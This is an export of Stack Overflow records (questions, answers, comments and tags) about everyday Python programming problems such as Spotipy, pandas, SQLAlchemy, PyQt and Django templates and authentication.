has body: Using Spotipy and am attempting to 'current_user_recently_played' token = util.prompt_for_user_token(username, scope = scope, client_id=client_id, client_secret=client_secret, redirect_uri=redirect_uri) sp = spotipy.Spotify(auth = token) saved = sp.current_user_saved_tracks() print(saved) recent = sp.current_user_recently_played() print(recent) sp.current_user_saved_tracks() runs just fine, sp.current_user_recently_played() apparently doesn't exist even though it is clearly in the documentation https://spotipy.readthedocs.io/en/latest/#more-examples. Running - v2.4.4 - January 4, 2017 Thanks ahead of time. Traceback (most recent call last): File "C:\Users\Martin\Google Drive\Python\Spotify\try_req.py", line 19, in &lt;module&gt; recent = sp.current_user_recently_played() AttributeError: 'Spotify' object has no attribute 'current_user_recently_played'
score: 2
has comment: http://stackoverflow.com/comment/81003436
has comment: http://stackoverflow.com/comment/81003310
has title: AttributeError: 'Spotify' object has no attribute 'current_user_saved_tracks'
has comment: http://stackoverflow.com/comment/81003567
favorite count: 0
type: Question

http://stackoverflow.com/comment/80931826
score: 1
type: Comment
comment on: http://stackoverflow.com/q/46982997
type: QuestionComment
has text: Can you show such values? How you prepared your data into its variables? Have you tried more epochs? Usually the major changes take place on the first epochs, then it stabilizes asymptotical

http://stackoverflow.com/comment/81024347
score: 0
type: Comment
comment on: http://stackoverflow.com/a/47038608
type: AnswerComment
has text: Can't I still work with softmax probabiltites later as long as I always add a softmax? So for example, when calling model.predict(input) the output would be unnormalized probabilities (=logits). I would get the needed softmax probabiltities when adding probs = K.nn.softmax(model.predict(input)). Correct?

http://stackoverflow.com/a/47078172
answers question: http://stackoverflow.com/q/47059390
has body: Well i've tried to solve my problem this way: I just dropped the least important features(which had mean importance value less than 0.15) and the accuracy remained the same 75% but the prediction model works much faster now.
type: Answer
score: 0

http://stackoverflow.com/comment/81408242
type: AnswerComment
comment on: http://stackoverflow.com/a/47122179
type: Comment
has text: Succeded with header after publishing the api change. POST still does not pass due Failed to load https://u.... : Response for preflight has invalid HTTP status code 401
score: 0

http://stackoverflow.com/a/46984216
answers question: http://stackoverflow.com/q/46984183
has body: Looks like you aren't passing alpha to the cos function (should be cos(alpha)) in addition you can simply return the first line: def getC(a, b, alpha): return math.pow(a, 2) + math.pow(b, 2) - (2 * a * b * math.cos(alpha))
upvote count: 2
score: 2
downvote count: 0
type: Answer

http://stackoverflow.com/q/47018796
has answer: http://stackoverflow.com/a/47018905
tagged with: python
accepted answer: http://stackoverflow.com/a/47018905
tagged with: image
possible better answer: http://stackoverflow.com/a/47018889
has comment: http://stackoverflow.com/comment/128342443
linked to: http://stackoverflow.com/q/18084554
upvote count: 2
type: AnsweredQuestion
score: 2
answer count: 3
has title: Address error: (unicode error) 'unicodeescape' codec can't decode
downvote count: 0
has answer: http://stackoverflow.com/a/70819362
has body: Code to show image is giving a syntax error when I use the Address to the image. from tkinter import * import numpy as np import matplotlib.pyplot as plt from PIL import Image Scare = Tk() Scare.title('?????') Countdown = 2 CountTotal = 2 CountTotal = IntVar() def CountdownWork(): global Countdown if Countdown &gt; 0: Countdown = Countdown -1 CountTotal.set(Countdown) Scare.after(1000, CountdownWork) else: ImageAddress = 'C:\Users\KINSLED\Desktop\New folder\ScareTest.jpg' ImageItself = Image.open(ImageAddress) ImageNumpyFormat = np.asarray(ImageItself) plt.imshow(ImageNumpyFormat) plt.draw() plt.pause(5) # pause how many seconds plt.close() Count = Label(Scare, font=('arial', 10, 'bold'), textvariable=CountTotal, bd=30, bg='SeaGreen1', justify='right').grid(row=7,columnspan=8) CountdownWork() Scare.mainloop() The Syntax Error is highlighting the space just after the equals in ImageAdress. The Error is: (unicode error) 'unicodeescape' codec can't decode bytes in position 2-3: truncated\UXXXXXXXX escape
favorite count: 0
type: Question
has answer: http://stackoverflow.com/a/47018889

http://stackoverflow.com/q/47039915
tagged with: machine-learning
tagged with: python
accepted answer: http://stackoverflow.com/a/47040913
has body: I have some silly question on catboost. From the documentation of catboost, I understood that there are some permutation/shuffle between the rows, for the categorical data transformation.(https://tech.yandex.com/catboost/doc/dg/concepts/algorithm-main-stages_cat-to-numberic-docpage/#algorithm-main-stages_cat-to-numberic) I was trying to predict on a single observation to check if my model works, but I get an error. However with 2 observations, it works fine. My question is, for the prediction of a catboost classifier, do we have to at least give 2 observations because of the permutation ? If yes, does the first observation have an impact on the output ?
tagged with: catboost
has title: Catboost understanding - Conversion of Categorical values
type: AnsweredQuestion
score: 1
upvote count: 1
answer count: 1
downvote count: 0
has answer: http://stackoverflow.com/a/47040913
favorite count: 0
type: Question

http://stackoverflow.com/comment/81073830
type: Comment
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/47062578
has text: @A.Raouf. Unfortunately, I feel like your question lacks enough detail for me to be able to construct a better answer for you.

http://stackoverflow.com/q/47024033
upvote count: 1
has comment: http://stackoverflow.com/comment/80995212
downvote count: 0
has comment: http://stackoverflow.com/comment/80995167
favorite count: 0
type: Question
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/47024102
possible better answer: http://stackoverflow.com/a/47024102
tagged with: pandas
has body: I have a csv file with two columns of a and b as below: a b 601 1 602 2 603 3 604 4 605 5 606 6 I want to read and save data in a new csv file as below: s id 601 1 602 1 603 1 604 2 605 2 606 2 I have tried this code: data=pd.read_csv('./dataset/test4.csv') list=[] i=0 while(i&lt;6): list.append(data['a'].iloc[i:i+3]) i+=3 df = pd.DataFrame(list) print(df) by this out put: 0 1 2 3 4 5 a 601.0 602.0 603.0 NaN NaN NaN a NaN NaN NaN 604.0 605.0 606.0 First I need to save the list in a dataframe with following result: 0 1 2 3 4 5 601.0 602.0 603.0 604.0 605.0 606.0 and then save in a csv file. However I've got stuck in the first part. Thanks for your help.
tagged with: http://stackoverflow.com/tag/csv
score: 1
tagged with: dataframe
tagged with: python
has answer: http://stackoverflow.com/a/47024140
has answer: http://stackoverflow.com/a/47024066
accepted answer: http://stackoverflow.com/a/47024066
has title: Data-frame manipulation in python
answer count: 3

http://stackoverflow.com/comment/81005876
type: QuestionComment
has text: This is mostly to do with the need to include the Python standard library. It looks like you can try to exclude the bits of it you don't think you use https://stackoverflow.com/questions/19249624/pyinstaller-very-big-file-size.
comment on: http://stackoverflow.com/q/47026649
score: 0
type: Comment

http://stackoverflow.com/q/47046576
type: Question
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/81055906
has comment: http://stackoverflow.com/comment/81072430
tagged with: python
has body: Here is my problem. I have three tables. One called Project which has only one Column called id (this must be unique throughout the system). One called ServiceAwarenessProject which has a one to one relationship with Project.id. One called CorporateVPNProject which has a one to one relationship with Project.id I'm using sqlalchemy ORM, so the code looks like the one below: class Project(SqlAlchemyBase): __tablename__ = 'project' id = Column(Integer, primary_key=True, autoincrement=True) class ServiceAwarenessProject(SqlAlchemyBase): __tablename__ = 'sa_project' id = Column(Integer, primary_key=True) project_id = Column(Integer, ForeignKey(Project.id)) mop_url = Column(String, nullable=False) expiration_date = Column(Datetime, index=True) class CorporateVPNProject(SqlAlchemyBase): __tablename__ = 'wvpn_project' id = Column(Integer, primary_key=True) project_id = Column(Integer, ForeignKey(Project.id)) mop_url = Column(String, nullable=False) I designed my tables like that, so I can guarantee I have unique project_ids in the entire system. My problem is that I don't know how to join those tables together to find a project based on the project_id. To solve this problem for now, I'm querying both tables, using the function called get_project_by_id. Is there a smarter way to solve this issue? class ProjectService: @staticmethod def create_project_id(): session = DbSessionFactory.create_session() result = session.query(Project.id).order_by(desc(Project.id)).first() if result: result = result[0] if str(result)[:8] == datetime.datetime.now().strftime('%Y%m%d'): project_id = str(result)[:8] + '{:03d}'.format(int(str(result)[8:]) + 1) new_project = Project(id=project_id) session.add(new_project) session.commit() return project_id project_id = datetime.datetime.now().strftime('%Y%m%d') + '001' new_project = Project(id=project_id) session.add(new_project) session.commit() return project_id @staticmethod def get_project_by_id(project_id): session = DbSessionFactory.create_sessio…
has title: Joining two table without relantioships in sqlalchemy
has comment: http://stackoverflow.com/comment/81055429
downvote count: 0
tagged with: sql
score: 1
upvote count: 1
answer count: 1
has answer: http://stackoverflow.com/a/47062172
has comment: http://stackoverflow.com/comment/81059309
has comment: http://stackoverflow.com/comment/81047023
tagged with: sqlalchemy
favorite count: 0

http://stackoverflow.com/q/46993709
answer count: 2
has comment: http://stackoverflow.com/comment/80934208
has body: This is probably a duplicate, but I couldn't find my answer anywhere. I have a text file and I want to remove a specific character from a specific line. Here's one example: #textfile.txt Hey! 1234/ How are you//? 9/23r How can I remove the slash from the second line? The output should be: #textfile.txt Hey! 1234 How are you//? 9/23r I've got no code and no clue on how to do this. I run python 2.7.14 on Debian.
has title: Remove a specific letter from a specific line in a file in python
type: Question
accepted answer: http://stackoverflow.com/a/46994187
tagged with: python
tagged with: python-2.x
has comment: http://stackoverflow.com/comment/80933931
has answer: http://stackoverflow.com/a/46993878
possible better answer: http://stackoverflow.com/a/46993878
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/46994187
tagged with: python-2.7
score: 0

http://stackoverflow.com/a/61357133
upvote count: 1
type: Answer
has body: Django sets csrftoken cookie on login. After logging in, we can see the csrf token from cookies in the Postman. (see image) CSRFtoken from cookies We can grab this token and set it in headers manually. But this token has to be manually changed when it expires. This process becomes tedious to do it on an expiration basis. Instead, we can use Postman scripting feature to extract the token from the cookie and set it to an environment variable. In Test section of the postman, add these lines. var xsrfCookie = postman.getResponseCookie("csrftoken"); postman.setEnvironmentVariable('csrftoken', xsrfCookie.value); This extracts csrf token and sets it to an environment variable called csrftoken in the current environment. Now in our requests, we can use this variable to set the header.(see image) Set {{csrftoken}} in your header When the token expires, we just need to log in again and csrf token gets updated automatically. Thanks to @chillaranand from hackernoon.com to original post
answers question: http://stackoverflow.com/q/46926227
score: 1
downvote count: 0

http://stackoverflow.com/a/46965264
type: Answer
answers question: http://stackoverflow.com/q/46965069
has body: 'pandas' plots return AxesSubplot objects which can not be used for generating legends. You must generate you own legend using proxy artist instead. I have modified your code: import pandas as pd import matplotlib.pyplot as plt import numpy as np import matplotlib.patches as mpatches df={} bp={} positions = [1,2,3,4] df[0]= pd.DataFrame (np.random.rand(4,4),columns =['A','B','C','D']) df[1]= pd.DataFrame (np.random.rand(4,4),columns =['A','B','C','D']) colour=['red','blue'] fig, ax = plt.subplots() for i in [0,1]: bp[i] = df[i].plot.box(ax=ax, positions = positions, color={'whiskers': colour[i], 'caps': colour[i], 'medians': colour[i], 'boxes': colour[i]} ) red_patch = mpatches.Patch(color='red', label='The red data') blue_patch = mpatches.Patch(color='blue', label='The blue data') plt.legend(handles=[red_patch, blue_patch]) plt.show() The results are shown below:
score: 5
downvote count: 0
accepted answer of: http://stackoverflow.com/q/46965069
type: AcceptedAnswer
upvote count: 5

http://stackoverflow.com/comment/80901395
comment on: http://stackoverflow.com/a/46969904
type: Comment
score: 0
type: AnswerComment
has text: @Jean-FrançoisFabre you are welcome, do you think my answer was correct here? https://stackoverflow.com/questions/46976157/part-2-of-a-successful-outcome-regarding-white-space-filling/46976642#46976642 I was based on your answer but I don't fully know if I understood the question

http://stackoverflow.com/comment/80990161
score: 0
comment on: http://stackoverflow.com/q/47021335
type: QuestionComment
type: Comment
has text: I think your `else : return 0` stops the loop after the first count. So it wont reach the desired output. This is because at the first count, 0 x number is clearly not parasitic, so it would return 0 immediately.

http://stackoverflow.com/a/47055360
downvote count: 0
has body: Iterate through the lines from the second line (use next for that) and check whether state is Up and append them (or do whatever you would like to do). with open('test.txt','r') as f: next(f) l = [line.split()[1] for line in f if line.split()[2] == "Up"] print(l) Output: ['Fa0/0', 'Fa0/3'] Btw, even if you don't use next, it is fine.
type: Answer
has comment: http://stackoverflow.com/comment/81058615
score: 2
has comment: http://stackoverflow.com/comment/81058329
upvote count: 2
answers question: http://stackoverflow.com/q/47055206

http://stackoverflow.com/a/46984829
upvote count: 1
has body: I think you can boil this down to from itertools import product res = [(self.getPMI(w1, w2), *self.pair(w1, w2)) for w1, w2 in product(words, repeat=2) if w1 != w2] The *self.pair bit is unpacking the result of pair into the tuple (This is assuming pair returns something with only two elelments), and I think it requires you to have a relatively recent version of Python 3
has comment: http://stackoverflow.com/comment/80917069
score: 1
type: Answer
answers question: http://stackoverflow.com/q/46984725
has comment: http://stackoverflow.com/comment/80917222
has comment: http://stackoverflow.com/comment/80917156
has comment: http://stackoverflow.com/comment/80917186
downvote count: 0

http://stackoverflow.com/comment/80958342
type: QuestionComment
score: 0
has text: You need a conditional. If you use numpy you can work on a larger number of digits in parallel, but if that’s really a speedup and/or easier to understand is debatable.
comment on: http://stackoverflow.com/q/47005815
type: Comment

http://stackoverflow.com/comment/81119967
type: AnswerComment
comment on: http://stackoverflow.com/a/47084158
type: Comment
has text: That would be easy enough to fix without creating and dropping the database for every single scenario.
score: 0

http://stackoverflow.com/q/46942950
has answer: http://stackoverflow.com/a/46943635
possible better answer: http://stackoverflow.com/a/46943635
linked to: http://stackoverflow.com/q/24475094
favorite count: 0
type: Question
upvote count: 2
tagged with: for-loop
has answer: http://stackoverflow.com/a/46942991
tagged with: python
has body: df: 0 1 2 0 0.0481948 0.1054251 0.1153076 1 0.0407258 0.0890868 0.0974378 2 0.0172071 0.0376403 0.0411687 etc. I would like to remove all values in which the x and y titles/values of the dataframe are equal, therefore, my expected output would be something like: 0 1 2 0 NaN 0.1054251 0.1153076 1 0.0407258 NaN 0.0974378 2 0.0172071 0.0376403 NaN etc. As shown, the values of (0,0), (1,1), (2,2) and so on, have been removed/replaced. I thought of looping through the index as followed: for (idx, row) in df.iterrows(): if (row.index) == ??? But don't know where to carry on or whether it's even the right approach
has title: Removing matching index values from dataframe
has answer: http://stackoverflow.com/a/46942983
score: 2
type: AnsweredQuestion
tagged with: python-2.7
downvote count: 0
answer count: 3
accepted answer: http://stackoverflow.com/a/46942991
tagged with: pandas

http://stackoverflow.com/comment/80803522
type: Comment
type: AnswerComment
has text: Can't you just split by `\n(?=\d{2}/\d{2}/\d{2},\ \d{2}:\d{2})`
comment on: http://stackoverflow.com/a/46927144
score: 1

http://stackoverflow.com/comment/80820137
type: AnswerComment
comment on: http://stackoverflow.com/a/46935477
score: 0
has text: Not really, I have hundreds of such classes. But, regardless, my question is how do decorators work for object methods, as opposed to standalone functions
type: Comment

http://stackoverflow.com/comment/80838224
comment on: http://stackoverflow.com/q/46945466
type: QuestionComment
score: 0
has text: use extend instead of append
type: Comment

http://stackoverflow.com/comment/80953291
score: 0
type: QuestionComment
has text: its hard to say without seeing you data. I would possibly convert the data to a `pandas` dataframe then use pandas to pickle it
type: Comment
comment on: http://stackoverflow.com/q/47002239

http://stackoverflow.com/comment/81131842
type: Comment
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/47058675
has text: Try, it's working fine ! I will now add Chart for statistics and pymongo integration :) I will create others poste if i need some helps :) Thanks a lot !

http://stackoverflow.com/comment/80859526
comment on: http://stackoverflow.com/q/46953105
type: Comment
type: QuestionComment
score: 0
has text: Before I attempt your questions, can you please give us the formula for that density function in its primitive state, that is, before you turned it into a log-likelihood function. It would be nicer if your could insert that into your question as a mathematics graphic if possible.

http://stackoverflow.com/q/46938332
type: UnansweredQuestion
tagged with: python
has body: I wrote the following script to scrape data from this site: import scrapy class MySpider(scrapy.Spider): name = 'jobs' start_urls = ['https://www.freelancer.in/jobs/python_web-scraping_web-crawling/'] def parse(self, response): for title in response.xpath('//div[@class = "JobSearchCard-primary-heading"]//a'): yield{ 'title' : title.xpath('a/text()').extract_first() } However, when I run it I only receive an empty file except for the title? Why is this the case?
score: 0
answer count: 3
tagged with: web-scraping
tagged with: scrapy
has answer: http://stackoverflow.com/a/46978254
type: Question
has answer: http://stackoverflow.com/a/46953733
has title: Scrappy not Scraping out data
has answer: http://stackoverflow.com/a/46939668

http://stackoverflow.com/q/46927553
tagged with: odoo-10
type: UnansweredQuestion
score: 1
downvote count: 0
upvote count: 1
has title: Odoo javascript ir.actions.client with target: fullscreen and refresh page, have something wrong
favorite count: 0
type: Question
tagged with: javascript
tagged with: python
tagged with: css
has body: I have do_action with javascript: var vals = { 'type': 'ir.actions.client', 'name': 'TEST', 'tag': 'TEST', 'target': 'fullscreen', } self.do_action(vals); first, everything doing well, but after refresh page(f5), odoo show left menu..... i`try with: document.getElementsByClassName('o_sub_menu')[0].style.visibility = 'hidden'; But, all "o_sub_menu"(left menu) hidden. Maybe something wrong with css? someone can help me? Thanks
answer count: 0

http://stackoverflow.com/q/46934316
has comment: http://stackoverflow.com/comment/80816158
has comment: http://stackoverflow.com/comment/80816325
has comment: http://stackoverflow.com/comment/80815902
has comment: http://stackoverflow.com/comment/80816782
has comment: http://stackoverflow.com/comment/80816188
favorite count: 0
type: Question
tagged with: python-3.x
tagged with: rounding
has comment: http://stackoverflow.com/comment/80816756
has comment: http://stackoverflow.com/comment/80817007
accepted answer: http://stackoverflow.com/a/46935107
tagged with: math
tagged with: python
has answer: http://stackoverflow.com/a/46935107
has body: I would like to round values to the nearest 10 (0-4 = 0; 5-14 = 1; 15-24=2, etc.) I can get round to nearest 10, but I want to single digits for each range of numbers, as the example shows. From -5 to 4 = 0, 5 to 14 = 1, 15 to 24 = 2 etc... What I have tried... int(math.ceil(x / 10.0)) * 10 This gives to nearest 10, but starts from 0 and gives to nearest 10 instead of single digit. Any advice is helpful.
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/80816676
score: 1
has comment: http://stackoverflow.com/comment/80816015
has title: Python nearest value digits
answer count: 1
downvote count: 0
upvote count: 1

http://stackoverflow.com/q/46976288
type: AnsweredQuestion
tagged with: list
possible better answer: http://stackoverflow.com/a/46976498
has title: Python - Calculating the centroids of the vectors of a list
tagged with: vector
has comment: http://stackoverflow.com/comment/80900238
has body: I have one list including sets of vectors, all with 3 coordinates. I need to get a new list that will include the average of the respective coordinates of these vectors, as per their teams. In particular, I have a list of lists (of lists) of numbers: list=[[[1,1,1],[0,1,0]],[[0,0,2]],[[1,1,1],[2,2,2],[2,2,1]]] What I want is to get the following list: new_list=[[1/2,1,1/2],[0,0,2],[5/3,5/3,4/3]] which comes from adding the respective coordinates of the first two vectors of list and then dividing by their number, i.e.: [(1+0)/2, (1+1)/2, (0+1)/2] then concatenating the third element of list [0,0,2] and finally adding the respective "coordinates" of the last 3 vectors and dividing them by their number, i.e.: [(1+2+2)/3,(1+2+2)/3,(1+2+1)/3] I have tried doing the above with a series of nested for loops, but I keep loosing track of it and getting wrong results. I am sorry if my problem is misstated, but I really could not find a better way to describe my situation.
has comment: http://stackoverflow.com/comment/80900169
type: Question
score: 0
answer count: 3
accepted answer: http://stackoverflow.com/a/46977203
has answer: http://stackoverflow.com/a/46976505
has answer: http://stackoverflow.com/a/46976498
has answer: http://stackoverflow.com/a/46977203
tagged with: python
has comment: http://stackoverflow.com/comment/80900176

http://stackoverflow.com/comment/80974033
has text: @SamboyT: sorry, I had to roll that back, the question you asked was answered. Stack Overflow works by producing questions and answers for future visitors too. You now have a new question.
type: Comment
score: 0
comment on: http://stackoverflow.com/a/47013318
type: AnswerComment

http://stackoverflow.com/q/47023907
has body: I want to make a program that takes some information from a user and gives them a certain value that has increased by a certain amount from the last time the program was run. So to give an example: x = 1 the user inputs something and "2" is printed they close the program the user inputs something and "3" is printed they close the program the user inputs something and "4" is printed so on... Is this even possible in Python?
tagged with: python
accepted answer: http://stackoverflow.com/a/47023980
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/80994933
has answer: http://stackoverflow.com/a/47023980
has title: can I re initialize a variable after proceeding the code at python
score: 1
answer count: 1
downvote count: 0
upvote count: 1
has comment: http://stackoverflow.com/comment/80994891
favorite count: 0
type: Question

http://stackoverflow.com/comment/80916880
has text: Thank you for your answer, however this didnt work quite right. the ticker field concatenated all the individual tickers into a string, but there is no (space) separation between each one which is critical
type: Comment
comment on: http://stackoverflow.com/q/46984155
score: 0
type: QuestionComment

hierarchy
tags question: http://stackoverflow.com/q/47021492
tag name: hierarchy
type: Tag

http://stackoverflow.com/a/46990530
score: 4
upvote count: 4
has comment: http://stackoverflow.com/comment/80927898
downvote count: 0
answers question: http://stackoverflow.com/q/46990467
has body: Using a little mathemagic: ((df - 1) // 3).clip(0) + 1 a b c 0 1 1 1 1 2 3 3 2 2 1 1 3 1 2 2 4 2 1 2 Alternatively, replace all zeros with one (the only corner case to deal with) and then divide. (df.replace(0, 1) - 1) // 3 + 1 a b c 0 1 1 1 1 2 3 3 2 2 1 1 3 1 2 2 4 2 1 2
type: Answer

naming-conventions
tags question: http://stackoverflow.com/q/46965653
tag name: naming-conventions
type: Tag

http://stackoverflow.com/q/47028877
type: Question
has comment: http://stackoverflow.com/comment/81004829
tagged with: pyqt4
has body: I would like to have a table with one column that has auto-complete. I figured the best way to do this would be to use a QTableWidget and then instead of using the default QTableWidgetItem (which does not suport QCompleters) I would set the cell to a QLineEdit with the completer on it. However when I do this the cell box outlines are flickering and I get the following error: QObject::startTimer: QTimer can only be used with threads started with QThread Here's a sample. Try adding a few rows (+ on the numpad), adding data to them and then quickly closing to get the error. import sys from PyQt4 import QtGui, QtCore class DevTLog(QtGui.QMainWindow): def __init__(self): super(DevTLog, self).__init__() self.initUI() def initUI(self): # Actions self.addItemAction = QtGui.QAction("Add row", self) self.addItemAction.setShortcut(QtCore.Qt.Key_Plus) # Menu menu = self.menuBar() menu_file = menu.addMenu("File") menu_file.addAction(self.addItemAction) # Table self.log = QtGui.QTableWidget() self.log.setColumnCount(3) self.log.setColumnWidth(0,150) self.setCentralWidget(self.log) self.setGeometry(100, 100, 600, 600) # signals/slots self.addItemAction.triggered.connect(self.addItem) def addItem(self): nameItem = QtGui.QLineEdit() completer = QtGui.QCompleter() nameItem.setCompleter(completer) row = self.log.rowCount() self.log.insertRow(row) self.log.setItem(row, 0, QtGui.QTableWidgetItem()) self.log.setCellWidget(row, 1, nameItem) self.log.setItem(row, 2, QtGui.QTableWidgetItem()) def main(): app = QtGui.QApplication(sys.argv) ex = DevTLog() ex.show() sys.exit(app.exec_()) if __name__ == '__main__': main()
has comment: http://stackoverflow.com/comment/81004864
type: UnansweredQuestion
tagged with: python
has title: PyQt4: Unstable QTableWidget after adding a QLineEdit with a QCompleter
score: 0
answer count: 0
has comment: http://stackoverflow.com/comment/81004797
tagged with: qtablewidget

http://stackoverflow.com/comment/80946626
comment on: http://stackoverflow.com/q/46999797
score: 1
type: Comment
type: QuestionComment
has text: No, this is not correct behavior. After you active the virtualenv, you should be able to run `python` from any directory, even outside your project, and `from cement.core.foundation import CementApp` *should* work. You must absolutely not move your source files inside the virtualenv directory. I'm wondering if your virtualenv directory might be broken somehow. I recommend to recreate it, which should be very easy.

http://stackoverflow.com/q/46959421
has title: simple way to add existing users database(non django) to django
type: UnansweredQuestion
tagged with: python
has comment: http://stackoverflow.com/comment/80866422
has comment: http://stackoverflow.com/comment/80866543
score: 0
answer count: 2
has body: O.K. I have a headache with this problem. I have to different sites(non django) with login option and I would like to join in it into one new website based on django. Each of these two user databases consist of table with columns:(username, password, e-mail). The problem is, I just can not copy it to User table in Django as we all know django is very rigid about it, so I am trying to think a way, existing users would be able to login to site as nothing has changed. Is there any django/pythonic way to do so? I was thinking to create an app, which would take a foreign key to User model. Within User model I would create two users (database_1, database_2), so whenever a user from database 1 would login, e.g. JohnSmith, he would be connected as database_1 user, but so would JessicaSimpson if she would be in database 1. I am just thing to create Authentication and Authorization app as system app in some way... Is this a right way thinking? Would love to hear from professionals. Thanks in models: from django.db import models from django.contrib.auth.models import User, Group # Create your models here. class New_users(models.Model): new_user_id = models.ForeignKey(User, unique=False) username = models.CharField(max_length=25) password = models.CharField(max_length=25) email = models.CharField(max_length=25) in views: from django.shortcuts import render from django.http import HttpResponse # Create your views here. def home(request): if request.method == 'POST': #if username and password from New_users are ok... login()#User where id is the same blah blah....
has answer: http://stackoverflow.com/a/46960875
tagged with: authentication
tagged with: django
has comment: http://stackoverflow.com/comment/80866476
type: Question
has answer: http://stackoverflow.com/a/46959823

http://stackoverflow.com/a/46930237
upvote count: 1
downvote count: 0
has comment: http://stackoverflow.com/comment/80808161
score: 1
type: Answer
answers question: http://stackoverflow.com/q/46929950
has comment: http://stackoverflow.com/comment/80807724
has comment: http://stackoverflow.com/comment/80807704
has comment: http://stackoverflow.com/comment/80808063
has body: You cannot pass relative paths (../../sample.html) to render() - that behaviour is undefined. Django looks for templates in specific directories. In the default configuration you can rely on app_directories.Loader, which will look for a templates/ directory in your app. If you put your login template in &lt;your_app_dir&gt;/templates/login.html, you can then render it with: render(request, 'login.html') It is generally advisable to namespace your templates to avoid collisions, e.g., put it in templates/my_app/login.html instead.

http://stackoverflow.com/a/46958802
upvote count: 1
downvote count: 1
answers question: http://stackoverflow.com/q/46958559
score: 0
has body: Try this: data = {'key1': [0.0, 0.0, 0.95, 0.06, 0.01], 'key2': [0.0, 0.1, 0.95, 0.26, 0.11], 'key100': [0.2, 0.0, 0.23, 0.16, 0.21]} max_in_data = max(max(vals) for vals in data.values()) data = {key: map(lambda x: x/max_in_data, vals) for key, vals in data.items()}
type: Answer

http://stackoverflow.com/comment/80844589
type: Comment
score: 0
type: AnswerComment
has text: Actually, I was wrong about the backslashes. I'll post an answer.
comment on: http://stackoverflow.com/a/46919993

http://stackoverflow.com/comment/80780247
comment on: http://stackoverflow.com/a/46916284
score: 0
type: Comment
has text: `list.reverse()` reverses a list in place and returns `None`.
type: AnswerComment

http://stackoverflow.com/a/47060477
type: Answer
has comment: http://stackoverflow.com/comment/81072900
accepted answer of: http://stackoverflow.com/q/46959107
has comment: http://stackoverflow.com/comment/81098626
has comment: http://stackoverflow.com/comment/81075490
score: 2
answers question: http://stackoverflow.com/q/46959107
upvote count: 2
has body: You could create a list containing all the mappings you want. Try and search for each, and if it is not present, catch the AttributeError and store an empty value for it: import xml.etree.ElementTree as ET import csv fields = [ ('Id_Customer', 'Id_Customer'), ('Segment', 'Segment'), ('Nature', 'Event/Nature'), ('Extrainfo', 'Event/Extrainfo'), ('zipcode', 'Adress/zipcode'), ('street', 'Adress/street'), ('number', 'Adress/number')] tree = ET.parse('cat.xml') root = tree.getroot() with open(r'customerdata.csv', 'wb') as f_customerdata: csv_customerdata = csv.DictWriter(f_customerdata, fieldnames=[field for field, match in fields]) csv_customerdata.writeheader() for node in tree.iter('Customer'): row = {} for field_name, match in fields: try: row[field_name] = node.find(match).text except AttributeError as e: row[field_name] = '' csv_customerdata.writerow(row) Giving you an output CSV file containing: Id_Customer,Segment,Nature,Extrainfo,zipcode,street,number xyz1,abc1,info1,info2,,, zzwy,c2,,,77098,belaire drive,5 This approach also uses a DictWriter() instead of the standard csv writer. This makes it easier to assign values by name. To cope with multiple address entries per customer, you first need to autocreate the maximum number of extra columns per entry. Then when accessing the elements, use findall() to get each one: import xml.etree.ElementTree as ET import csv extra_columns = 2 fields = [ ('Id_Customer', 'Id_Customer', 1), ('Segment', 'Segment', 1), ('Nature', 'Event/Nature', 1), ('Extrainfo', 'Event/Extrainfo', 1), ('zipcode', 'Adress/zipcode', extra_columns), ('street', 'Adress/street', extra_columns), ('number', 'Adress/number', extra_columns)] tree = ET.parse('cat.xml') root = tree.getroot() # Auto create the header from fields fieldnames = [] for field, match, cols in fields: fieldnames.append(field) if cols &gt; 1: fieldnames.extend(["{}{}".format(field, x+2) for x in range(extra_columns)]) with open(r'customerdata.csv', 'wb') as f_customerdata: csv_cust…
type: AcceptedAnswer
downvote count: 0

http://stackoverflow.com/comment/80997888
has text: Is that meant to be a list?
comment on: http://stackoverflow.com/q/47025307
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/q/47002808
type: UnansweredQuestion
tagged with: python
has answer: http://stackoverflow.com/a/47036272
has body: I was trying to install PyQt 5.9 but I have no idea what I'm doing. According to what I've seen I have to download Qt from: https://qt-project.org and then SIP (whatever that is...) and PyQt from: http://www.riverbankcomputing.com I did all that and Qt weights like 30 Gb... Now I have to install pyqt but the README.md file says this: '''INSTALLATION Check for any other README files in this directory that relate to your particular platform. Feel free to contribute a README for your platform or to provide updates to any existing documentation. The first step is to configure PyQt5 by running the following command. python configure.py ''' And I have no idea what to do now, I keep getting the 'no such file/directory found' error. I went to the directory where I have python installed and I still get the same. - I have a Mac and python 3.6 Turns out I have Qt 5.8 already installed, and since I just downloaded 5.9 I'd like to upgrade it but I don't know how. And maybe it's taking up another 30Gb somewhere else. Also, when I type 'which python' I get 'anaconda/bin/python' and not python 2.7, how do I fix that? also I went to the dir where I have python and have python 2.4, 2.5 and 2.7. Should I just delete the others? and what is SIP??
has title: Need help cleaning up PyQt and python
tagged with: qt
tagged with: python-2.7
tagged with: anaconda
downvote count: 0
upvote count: 1
score: 1
has comment: http://stackoverflow.com/comment/80956263
answer count: 1
tagged with: pyqt5
has comment: http://stackoverflow.com/comment/80953982
favorite count: 0
linked to: http://stackoverflow.com/q/6587507
type: Question
has comment: http://stackoverflow.com/comment/80957396

http://stackoverflow.com/a/51199035
downvote count: 0
upvote count: 1
has comment: http://stackoverflow.com/comment/121905483
answers question: http://stackoverflow.com/q/46913043
type: Answer
